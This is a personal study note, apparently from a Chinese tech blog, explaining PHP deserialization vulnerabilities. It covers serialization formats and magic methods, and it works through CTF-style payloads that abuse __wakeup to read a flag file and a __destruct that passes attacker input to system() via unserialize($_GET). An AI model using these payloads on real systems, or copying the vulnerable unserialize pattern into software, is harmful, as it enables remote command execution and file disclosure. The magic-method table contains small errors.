php反序列化個人筆記

Sol_9發表於2024-06-13

反序列化

什麼是反序列化?

格式轉換

序列化:物件轉換為字串或者陣列等格式

反序列化:將陣列或字串轉換成物件

為什麼會出現安全漏洞?

魔術方法

如何利用漏洞?

透過構造pop鏈,找到程式碼的邏輯漏洞,進行getshell,rce等操作

反序列化利用分為三類

  • 魔術方法的呼叫邏輯
  • 語言原生類的呼叫邏輯,如SoapClient
  • 語言自身的安全缺陷,如CVE-2016-7124

序列化

在各類語言中,將物件的狀態資訊轉換為可儲存或可傳輸的過程就是序列化,序列化的逆過程就是便是反序列化,主要是為了方便物件傳輸。所以當我們把一段php程式碼序列化之後,透過GET or POST方法傳進去,php引擎是可以透過unserialize函式讀取的
PHP基本型別的序列化

bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:  N

序列化前

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化後

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R與r

當兩個物件本來就是同一個物件時會出現的物件將會以小寫r表示。
不過基礎型別不受此條件限制,總是會被序列化

為什麼?(看完“分析”以後再看這裡)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基礎型別
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而當PHP中的一個物件如果是對另一物件顯式的引用,那麼在同時對它們進行序列化時將透過大寫R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔術方法

魔術方法 說明
__construct() 建構函式,當物件new時會自動呼叫
__destruct() 折構函式,當物件被銷燬時會被自動呼叫
__wakeup() unserialize() 時會被自動呼叫,在其之前
__invoke() 當嘗試以呼叫函式的方法呼叫一個物件時,會被自動呼叫
__call() 當嘗試以呼叫函式的方法呼叫一個物件時,會被自動呼叫
__callStack() 在靜態上下文中呼叫不可訪問的方法時觸發
__get() 用於從不可訪問的屬性讀取資料
__set() 用於將資料寫入不可訪問的屬性
__isset() 在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() 在不可訪問的屬性上使用unset()時觸發
__toString() 在類被當作字串使用時觸發,如echo
__sleep() serialize()函式會檢查類中是否存在一個魔術方法__sleep,如果存在,該方法會被優先呼叫

這裡用到了php魔術方法,簡單概括就是當對某個物件進行某種操作(建立,銷燬等)時,就會自動呼叫魔術方法

eg:例如題目中有一個類名為Clazz的class類,比如當我 們unserialize了一個Clazz,在這之前會呼叫__wakeup,在這之後會呼叫 destruct

exp:

<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化後得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R為2代表是第二個反序列化元素被引用

POST方法傳進data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

這樣寫exp也是可以的,在exp裡我們只需要讓b成為a的引用,讓b和a的記憶體地址是一樣的。

當我們把payload傳進data之後,在@unserialize($_POST['data'])前會呼叫wakeup魔術方法,然後flag會傳進a的記憶體地址,然後在序列化過程中將屬性b設定為屬性a的應用,然後就就會呼叫destruct魔術方法echo出b

這裡的 @ 字首作用如下:

  1. 抑制錯誤:如果 unserialize($_POST['data']) 在執行過程中遇到錯誤(如序列化資料格式不正確、類不存在、魔術方法引發的異常等),@ 運算子會阻止這些錯誤資訊被輸出到瀏覽器或日誌中。這對於攻擊者來說可能是有利的,因為他們可以隱藏其攻擊嘗試的痕跡,避免被管理員或其他監控系統檢測到。
  2. 繼續執行:即使 unserialize() 函式內部發生了錯誤,由於錯誤被抑制,程式不會立即停止執行。這使得攻擊者有機會嘗試多種不同的攻擊載荷,而不必擔心單次嘗試失敗導致整個請求中斷。
  3. 安全風險:使用 @ 錯誤抑制符可能導致安全問題難以被及時發現和修復。由於錯誤資訊被隱藏,管理員可能無法意識到系統存在潛在的反序列化攻擊或其他安全漏洞。此外,攻擊者也可能利用 @ 運算子掩蓋其利用反序列化漏洞執行惡意程式碼的過程。

核心例子

這是一段php程式碼

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
$cc = new C();
echo serialize($cc);
?>

這是執行效果,會echo一個xiaodisec,再列印出序列化後的cc,然後執行ipconfig

我們把程式碼改一下

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";} 
unserialize($_GET[c]);
?>

我們把上面構造好的exp序列化之後,傳入c中,可以完成ipconfig

然而我們可以做的並不止這個,在我們的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我們要執行的命令時ipconfig,他是一個public變數,我們在傳入這個序列化字串的時候,還可以做到更改這個變數的資訊,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

(ver:檢視當前作業系統的版本號)

相關文章